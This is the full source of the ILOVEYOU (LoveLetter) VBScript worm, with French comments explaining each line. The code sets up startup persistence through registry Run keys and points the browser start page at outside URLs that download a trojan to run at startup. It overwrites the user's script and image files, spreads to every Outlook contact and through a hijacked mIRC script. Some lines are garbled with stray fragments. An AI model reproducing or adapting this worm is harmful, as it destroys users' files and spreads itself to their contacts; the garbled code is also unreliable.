rem barok -loveletter(vbe) <i hate go to school> Entête, description du virus
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, Philippines Coordonnées & références du programmeur
On Error Resume Next Gestion des erreurs
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow Déclaration des variables
eq = ""
ctr = 0
Set fso = CreateObject("Scripting.FileSystemObject" )
set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
sub main() Fonction principale
On Error Resume Next
dim wscr, rr
set wscr = CreateObject("WScript.Shell" )
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout" ) Verifie les délais (timeout) pour les scripts
if (rr >= 1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" Modifie le timeout, en cas d'erreur, le temps d'attente avant la suite est nul
end if
Set dirwin = fso.GetSpecialFolder(0) Répertoire de Windows
Set dirsystem = fso.GetSpecialFolder(1) Répertoire System de Windows
Set dirtemp = fso.GetSpecialFolder(2) Répertoire temp de Windows
Set c = fso.GetFile(WScript.ScriptFullName) Ouvre le fichier actuel (en cours d'exécution)
c.Copy(dirsystem & "\MSKernel32.vbs" ) Copie du virus vers un fichier .vbs exécuté au démarrage
c.Copy(dirwin & "\Win32DLL.vbs" ) Copie du virus vers un fichier .vbs exécuté au démarrage
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs" ) Copie du virus vers le fichier .TXT.vbs
regruns() Modification de la base de registres pour le download automatique du cheval de troie
html() Création du fichier HTML
spreadtoemail() Propagation par e-mail
listadriv() Infection des fichiers
end sub
Regruns
Cette partie du virus met WIN-BUGSFIX.exe en page de démarrage d'Internet explorer. Il s'agit d'un cheval de troie. Une fois le fichier téléchargé, il est exécuté à chaque démarrage de Windows
sub regruns()
On Error Resume Next
Dim num, downread
regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" Exécution à chaque démarrage du virus
regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" idem
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory" ) Dossier de téléchargement (par défaut)
if (downread = "" ) then
downread = "c:\"
end if
if (fileexist(dirsystem & "\WinFAT32.exe" ) = 1) then
Randomize
num = Int((4 * Rnd) + 1) Met en page de démarrage un des 4 liens (au hazard) pour le download d'un cheval de troie
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/(...)/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/(...)/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/(...)/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/(...)/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread & "\WIN-BUGSFIX.exe" ) = 0) then Si le fichier a été téléchargé
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" Il sera exécuté à chaqe démarrage de Windows
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" Suppression de la page de démarrage, qui est actuellement le cheval de troie à télécharger
end if
end sub
Listadriv
Cette fonction infecte tous les disques durs (ou amovibles) de l'ordinateur.
sub listadriv Liste tous les disques de la machine pour l'infection
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives Liste des Lecteurs (Disques dur, ...)
For Each d in dc Pour chaque disque
If d.DriveType = 2 or d.DriveType = 3 Then S'il s'agit d'un disque dur ou d'un disque amovible
folderlist(d.path & "\" ) Appel de folderlist pour faire un parcours des dossiers du disque
end if
Next
listadriv = s
end sub
Infectfiles
Cette partie du virus "infecte" les fichiers vbs, vbe, js, jse, css, wsh, sct, hta (qui sont effacés et remplacés par le code du virus). Les fichiers *.jpg et *.jpeg sont effacés apres avoir créé des copies du virus *.jpg.vbs et *.jpeg.vbs, les fichiers *.mp3 et *.mp2 son chachés (cfr attributs de fichiers) et des fichiers *.mp3.vbs et *.mp2.vbs sont créés, contenant ... le code du virus, eh oui !!! Si le virus trouve un répertoire contenant mirc, le fichier script.ini est écrasé et remplacé par un code envoyant automatiquement le code du virus(au format html) à toute personne se joignant a un channel ou l'ordinateur infecté se trouve.
sub infectfiles(folderspec) = 20 Infecte les fichiers du dossier actuel
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 Déclaration des variables
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc Pour chaque fichier du directory
ext = fso.GetExtensionName(f1.path) Récupération de l'extension du fichier
ext = lcase(ext) Mise de l'extension en minuscules
s = lcase(f1.name) Mise du nom de fichier en minuscule
if (ext = "vbs" ) or (ext = "vbe" ) then s'il s'agit d'un VBS ou d'un VBE.
set ap = fso.OpenTextFile(f1.path, 2, true) Ouverture du fichier.
ap.write vbscopy Ecriture tu code du virus sur le fichier
ap.close Fermeture du fichier
elseif(ext = "js" ) or (ext = "jse" ) or (ext = "css" ) or (ext = "wsh" ) or (ext = "sct" ) or (ext = "hta" ) then S'il s'agit d'un JS, d'un JSE, CSS, WSH, SCT ou HTA
set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier
ap.write vbscopy Copie du virus
ap.close Fermeture du fichier
bname = fso.GetBaseName(f1.path) bname : nom du fichier source
set cop = fso.GetFile(f1.path) cop : nom du fichier du virus (= au nom du fichier source)
cop.copy(folderspec & "\" & bname & ".vbs" ) Copie du fichier modifié, avec l'extension .VBS en plus
fso.DeleteFile(f1.path) Supression du fichier original
elseif(ext = "jpg" ) or (ext = "jpeg" ) then S'il s'agit d'un JPG (ou JPEG)
set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier
ap.write vbscopy Copie du code du virus
ap.close Fermeture du fichier
set cop = fso.GetFile(f1.path) Nom du fichier "infecté"
cop.copy(f1.path & ".vbs" ) Copie du fichier "infecté" sous le nouveau nom
fso.DeleteFile(f1.path) Supression du fichier original
elseif(ext = "mp3" ) or (ext = "mp2" ) then S'il s'agit d'un MP3 ou d'un MP2
set mp3 = fso.CreateTextFile(f1.path & ".vbs" ) Création du fichier .mp3.vbs (ou .mp2.vbs)
mp3.write vbscopy Copie du code du virus
mp3.close Fermeture du fichier mp3-mp2
set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2 Rend le fichier actuel caché
end if
if (eq<>folderspec) then
if (s = "mirc32.exe" ) or (s = "mlink32.exe" ) or (s = "mirc.ini" ) or (s = "script.ini" ) or (s = "mirc.hlp" ) then Si le fichier actuel est un fichier mirc,
set scriptini = fso.CreateTextFile(folderspec & "\script.ini" ) on créé un fichier script
scriptini.WriteLine "[script]" Ecriture du contenu du fichier script
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1:JOIN:#:{" Quand une personne arrive sur le channel
scriptini.WriteLine "n1 = /if ( $nick == $me ) { halt }" si cette personne n'est pas nous-même
scriptini.WriteLine "n2 = /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" Envoi du fichier .htm infecté
scriptini.WriteLine "n3=}"
scriptini.close Fermeture du fichier script
eq = folderspec
end if
end if
next = 20
end sub
Folderlist
Cette partie du virus infecte les fichiers du dossier actuel et "liste" tout les sous dossiers (il se rapelle lui même pour traiter les sous-dossiers).
sub folderlist(folderspec) = 20 Récupère les sous dossiers du dossier actuel
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec) = 20 Ouverture du dossier
set sf = f.SubFolders Lecture des sous dossiers
for each f1 in sf Pour chaque sous dossier
infectfiles(f1.path) Infeccter les fichiers (cadre ci-dessous)
folderlist(f1.path) Rappel de la fonction actuelle (pour continuer le parcours des dossiers)
next = 20
end sub
Regcreate
Cette partie du virus créé une clé(entrée) dans la base de registres
sub regcreate(regkey, regvalue) Créé une clé dans la base de registres
Set regedit = CreateObject("WScript.Shell" ) Creation d'un objet WScript
regedit.RegWrite regkey, regvalue Ecriture dans la base de registre du couple clé, valeur
end sub
Regget
Cette partie du virus lit une entrée de la base de registres
function regget(value) Retourne la valeur d'une clé se trouvant dans la base de registres
Set regedit = CreateObject("WScript.Shell" ) Création d'un objet WScript
regget = regedit.RegRead(value) Lecture de la valeur
end function
Fileexist
Cette fonction vérifie si un fichier existe.
function fileexist(filespec) Teste si le fichier existe
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then Si le fichier existe
msg = 0 Alors msg = 0
else
msg = 1 Sinon, msg = 1
end if
fileexist = msg retourne msg
end function
Folderexist
Cette fonction vérifie si un dossier existe.
function folderexist(folderspec) Teste si un dossier existe bien
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then Si le dossier existe
msg = 0
else
msg = 1
end if
fileexist = msg retourne msg comme valeur
end function
Spreadtoemail
Cette fonction envoyant à la contact-list de Outlook-Express le code du virus (au format txt.vbs) en fichier joint.
sub spreadtoemail() Fonction pour la propagation par e-mail
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit = CreateObject("WScript.Shell" )
set out = WScript.CreateObject("Outlook.Application" ) Création d'un objet Outlook
set mapi = out.GetNameSpace("MAPI" )
for ctrlists = 1 to mapi.AddressLists.Count Pour chaque liste d'addr. du carnet d'addresse d'Outlook Express
set a = mapi.AddressLists(ctrlists) Sélectionne la liste actuelle
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a) Verification (dans la base de registres) si on a déja envoyé le virus à ce(ces) contact(s)
if (regv = "" ) then S'il n'y a qu'une entrée dans la liste
regv = 1
end if
if (int(a.AddressEntries.Count) > int(regv)) then Si le nombre d'addr. a augmenté
for ctrentries = 1 to a.AddressEntries.Count Pour chaque addr.
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead) Lecture dans la base de registres
if (regad = "" ) then Si on n'a pas encore envoyé le virus à cette addr.
set male = out.CreateItem(0) Creation du mail
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU" Ecriture de l'e-mail infecté
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs" ) Attachement du virus au mail
male.Send Envoi du mail
Regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD" Indique dans la base de registre qu'on a envoyé un mail à cette personne
end if
x = x + 1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Ecriture du nombre actuel d'addr. dans la base de registres
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Ecriture du nombre actuel d'addr. dans la base de registres
end if
next
Set out = Nothing
Set mapi = Nothing
end sub
Html
Cette fonction créé le fichier HTML envoyé par mIRC.
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1 = "<HTML> Code HTML pour le fichier
<HEAD>
<TITLE>LOVELETTER - HTML</TITLE>
<META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER"> Entêtes et descriptions
<META NAME="Author" CONTENT="spyder - ispyder@mail.com @GRAMMERSoft Group - Manila, Philippines - March 2000">
<META NAME="Description" CONTENT="simple but i think this is good...">"
</HEAD>
<BODY ONMOUSEOUT="window.name = 'main'; window.open('OVE-LETTER-FOR-YOU.HTM', 'main') ONKEYDOWN="window.name = 'main'; window.open('LOVE-LETTER-FOR-YOU.HTM','main') "BGPROPERTIES="fixed" BGCOLOR="#FF9933">" Début du corps du fichier HTML, avec une réouverture automatique de la page
<CENTER><p>This HTML file need ActiveX Control</p> Affiche qu'il faut activer ActiveX pour visualiser la page
<p>To Enable to read this HTML file<BR>
- Please press 'YES' button to Enable ActiveX</p></CENTER>
<MARQUEE LOOP="infinite" BGCOLOR="yellow">----------z--------------------z----------</MARQUEE> Affichage d'une petite animation
</BODY>
</HTML> Fin du contenu de la page
<SCRIPT language="JScript"><!--// Début du code du virus
if (window.screen) {
var wi = screen.availWidth; Dimensions maximum de la fenètre
var hi = screen.availHeight;
window.moveTo(0,0); Mise de la page en plein écran
window.resizeTo(wi,hi);
} //-->
</SCRIPT>
<SCRIPT LANGUAGE="VBScript"><!--
on error resume next
dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
aw = 1
setfso = CreateObject("Scripting.FileSystemObject" )
set dirsystem = fso.GetSpecialFolder(1) Ouvre le répertoire système
code2 = replace(code, chr(91) & chr(45) & chr(91), chr(39)) Remplace les caractères spéciaux pour permettre la reproduction
code3 = replace(code2, chr(93) & chr(45) & chr(93), chr(34))
code4 = replace(code3, chr(37) & chr(45) & chr(37), chr(92))
setwri = fso.CreateTextFile(dirsystem & "\MSKernel32.vbs" ) Créé le fichier "système" du virus
wri.write code4 Ecriture du code du virus
wri.close Fermeture du fichier
if (fso.FileExists(dirsystem & "/MSKernel32.vbs" )) then Si le fichier "système" existe
if (err.number = 424) then
aw = 0
end if
if (aw = 1) then S'il y a eu une erreur
document.write "ERROR: can't initialize ActiveX" Affichage d'une erreur ActiveX
window.close
end if
end if
Set regedit = CreateObject("WScript.Shell" )
regedit.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/MSKernel32", dirsystem & "/MSKernel32.vbs" Indique que le code du virus doir être exécuté au démarrage de Windows
//--></SCRIPT>" Fin du script
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), " ' " ) Remplace les caractères spéciaux pour permettre la reproduction
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), " "" " )
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), " / " )
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), " \ " )
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), " ' " )
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), " "" " )
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), " / " )
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), " \ " )
set fso = CreateObject("Scripting.FileSystemObject" )
set c = fso.OpenTextFile(WScript.ScriptFullName,1)
lines = Split(c.ReadAll,vbcrlf)
l1 = ubound(lines)
for n=0 to ubound(lines)
lines(n) = replace(lines(n), " ' ", chr(91) + chr(45) + chr(91)) Remplace les caractères spéciaux pour permettre la reproduction
lines(n) = replace(lines(n), " "" ", chr(93) + chr(45) + chr(93))
lines(n) = replace(lines(n), " \ ", chr(37) + chr(45) + chr(37))
if (l1 = n) then
lines(n) = chr(34) + lines(n) + chr(34)
else
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
end if
next
set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM" ) Création du fitier HTM contenant le virus pour envoi par irc
b.close
set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2) Ouverture du fichier HTM
d.write dt5 Ecriture du code du virus
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close Fermeture du HTM
end sub